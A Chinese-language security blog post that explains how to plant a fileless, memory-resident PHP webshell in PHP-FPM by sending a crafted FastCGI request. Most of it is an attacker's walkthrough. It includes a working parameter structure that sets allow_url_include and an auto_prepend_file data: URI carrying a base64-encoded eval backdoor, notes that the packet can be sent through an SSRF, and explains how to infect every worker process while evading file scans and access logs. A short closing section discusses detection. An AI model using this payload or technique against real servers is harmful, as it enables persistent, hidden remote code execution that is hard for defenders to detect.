前言
JAVA 內(nèi)存馬固然是極好的,可我略微瞟了一眼php 的占有率,雖然從我上次關(guān)注 PHP 10年都過去了,PHP 卻仍然是最為主流的服務(wù)端 Web 語言。所以,為什么沒人做 PHP 的內(nèi)存馬研究呢?
然而并不是沒人做研究,可由于 PHP 語言的特性,他的一次執(zhí)行生命周期,通常就是伴隨著請求周期開始和結(jié)束的。因此,很難完成一段代碼的內(nèi)存長久駐留。目前網(wǎng)上如果搜索“PHP 內(nèi)存馬”,通常會發(fā)現(xiàn)兩種模式:
- “不死”馬:所謂的不死馬,其實就是直接用代碼弄一個死循環(huán),強占一個 PHP 進程,并不間斷的寫一個PHP shell,或者執(zhí)行一段代碼。
- Fastcgi馬:這個利用了 PHP-FPM 可以直接通過 fastcgi 協(xié)議通訊的原理,可以指定SCRIPT_FILENAME,去執(zhí)行機器上存在的 PHP 文件;或者配合auto_prepend_file+php://input,通過每次提交POST code去執(zhí)行。(稍微感嘆一下,這個問題從我寫fcgi_exp的代碼,已過了整整10年)
然而,方案1,非常的ugly,阻塞進程不說,而且很多時候還是要本地落盤文件,只是想讓管理員刪不掉罷了。而方案2,仔細看,卻只是對 FPM 未授權(quán)訪問的漏洞利用而已。甚至更不能算作是內(nèi)存馬的概念。這兩者本質(zhì)上都是受限于“PHP 代碼無法長久駐留內(nèi)存執(zhí)行”這個問題。因此,關(guān)于 PHP 的內(nèi)存馬研究,大部分的時候也就只能止步于此了。
方案
現(xiàn)在,讓我們聚焦一下,我們究竟想要達到一個什么樣的目標(biāo):所謂內(nèi)存馬,最主要是為了避免后門文件落盤,讓后門代碼在內(nèi)存中駐留,并且可以通過特定的方式訪問,即可觸發(fā)執(zhí)行。
從這個描述中,我們可以看出,隱藏是最核心的訴求。尤其是為了在高等級的對抗過程中,避免管理員從各類文件掃描、流量特征、行為日志中檢測出來。內(nèi)存馬只能從進程本身的空間中做檢測,傳統(tǒng)的旁路檢測很難做到這一點。為此,什么通用性,重啟即丟失等問題,通通無所謂。
所以,我們把需求拆解一下,實際上要解決的兩個問題:
- 讓后門代碼在內(nèi)存中駐留。
- 可以通過“正常”的請求手段,觸發(fā)執(zhí)行。
我們來想法解決這個問題。其實,從 PHP-FPM 這個 fastcgi server 的實現(xiàn)上,我們就可以知道,本身這個 FPM 的進程就是持久化的,并且并不會如傳統(tǒng) CGI 模式一樣,處理一個請求就會消亡。因此,我們只要能在這個進程上下文中保存信息,就算解決了問題。事實上,可能很多人并不知道,在一次 fastcgi 請求中,任何通過 PHP_VALUE/PHP_ADMIN_VALUE 修改過的PHP配置值,在此 FPM 進程的生命周期內(nèi),都是會保留下來的。
于是,真正的方法其實很簡單,我們只需要把前面提到的外部方案2略微改一下即可。觸發(fā)方式延續(xù)著之前的auto_prepend_file的方案,但由于我們是想要內(nèi)存馬,我們不再沿用php://input,否則還得每次都得提交代碼,而是替換成data協(xié)議固定下來。
假設(shè)在我們獲取到一個 Web 的權(quán)限后——甚至我們可能只需要一個 SSRF 漏洞即可——我們只需要往 fpm 監(jiān)聽的端口發(fā)送如下結(jié)構(gòu)的內(nèi)容(這里是我本機測試):
array(15) {
["GATEWAY_INTERFACE"]=>
string(11) "FastCGI/1.0"
["REQUEST_METHOD"]=>
string(3) "GET"
["SCRIPT_FILENAME"]=>
string(30) "/home/www/wofeiwo/t.php"
["SCRIPT_NAME"]=>
string(14) "/wofeiwo/t.php"
["QUERY_STRING"]=>
string(0) ""
["REQUEST_URI"]=>
string(14) "/wofeiwo/t.php"
["DOCUMENT_URI"]=>
string(14) "/wofeiwo/t.php"
["PHP_ADMIN_VALUE"]=>
string(102) "allow_url_include = On
auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=""
["SERVER_SOFTWARE"]=>
string(13) "80sec/wofeiwo"
["REMOTE_ADDR"]=>
string(9) "127.0.0.1"
["REMOTE_PORT"]=>
string(4) "9985"
["SERVER_ADDR"]=>
string(9) "127.0.0.1"
["SERVER_PORT"]=>
string(2) "80"
["SERVER_NAME"]=>
string(9) "localhost"
["SERVER_PROTOCOL"]=>
string(8) "HTTP/1.1"
}
以上是 fastcgi 的通訊包大概結(jié)構(gòu)內(nèi)容。至于怎么構(gòu)造這個包,可以參考這個代碼自己來改寫。我們看到,由于不需要php://input,我們只需要 GET 請求即可,并且,構(gòu)造請求只需要隨意給一個存在的 php 文件路徑,無所謂內(nèi)容是啥。一個發(fā)包搞定一切,我們的 payload 已經(jīng)無文件植入了。由于使用了auto_prepend_file,因此我們只需要訪問服務(wù)器上任意一個正常的 PHP 文件,無需任何修改,都能觸發(fā)我們的內(nèi)存馬。
我們訪問個普通的 phpinfo.php 文件,看看是否能夠穩(wěn)定的固化我們的內(nèi)存馬。
果然已經(jīng)成功的把我們想要的payload植入了進去。這里我們payload使用的是<?php @eval($_REQUEST[test]); ?>的 base64。我們訪問phpinfo.php?test=echo(aaaaa);看看效果,當(dāng)然正常使用的時候我們可以更隱蔽。
當(dāng)然,這個方案也有局限性,因為是內(nèi)存馬,所以他實際上是和PHP-FPM的 Worker 進程綁定的,因此,如果服務(wù)器上有多個Worker進程,我們就需要多發(fā)送剛才的請求幾次,才能讓我們的payload“感染”每一個進程。
此外,我們還需要關(guān)注一個php-fpm.conf的配置:
pm.max_requests int
設(shè)置每個子進程重生之前服務(wù)的請求數(shù)。對于可能存在內(nèi)存泄漏的第三方模塊來說是非常有用的。如果設(shè)置為 '0' 則一直接受請求,等同于 PHP_FCGI_MAX_REQUESTS 環(huán)境變量。默認值:0。
這個配置定義了每一個 worker 進程最大處理多少請求,就會自動重生。主要作用可能是避免內(nèi)存泄露,但是一旦重生了,我們的內(nèi)存馬也就失效了。慶幸的是,默認是不會重生的。
檢測
既然是內(nèi)存馬,因此我們無法從代碼掃描中發(fā)現(xiàn)。并且由于他只是修改了內(nèi)存中的 PHP 配置,我們也無法從PHP.ini/.user.ini/php-fpm.conf等文件內(nèi)容中檢測。真正添加內(nèi)存馬由于只需要對fpm監(jiān)聽的端口發(fā)送請求,因此也無法從webserver的accesslog中發(fā)現(xiàn)問題。
但是我們是可以通過rasp之類的工具,通過檢查auto_prepend_file/auto_Append_file/allow_url_inclue配置的變化(雖然目前很多 rasp 也不會做這些操作)來做檢測。
另外,由于觸發(fā)方式可以是任意一個 PHP 文件,所以,我們想從后續(xù)的訪問行為中做檢查也有一定難度,但是可以從網(wǎng)絡(luò)流量中檢查對應(yīng)的后門 payload,或者從進程的行為中,來做檢查。
擴展
關(guān)于 PHP-FPM 的內(nèi)存馬,暫時就說這么多。那么這里還有一些疑問可以擴展:
1. mod_php模式下的內(nèi)存馬是否有可能實現(xiàn)?
2. 觸發(fā)是否有除了auto_prepend_file/auto_append_file之外的方案?
3. 如何做到持久化,避免重生或者重啟之后的?
我就不做一一展開了,有興趣的朋友,可以延續(xù)著問題繼續(xù)深入,歡迎討論。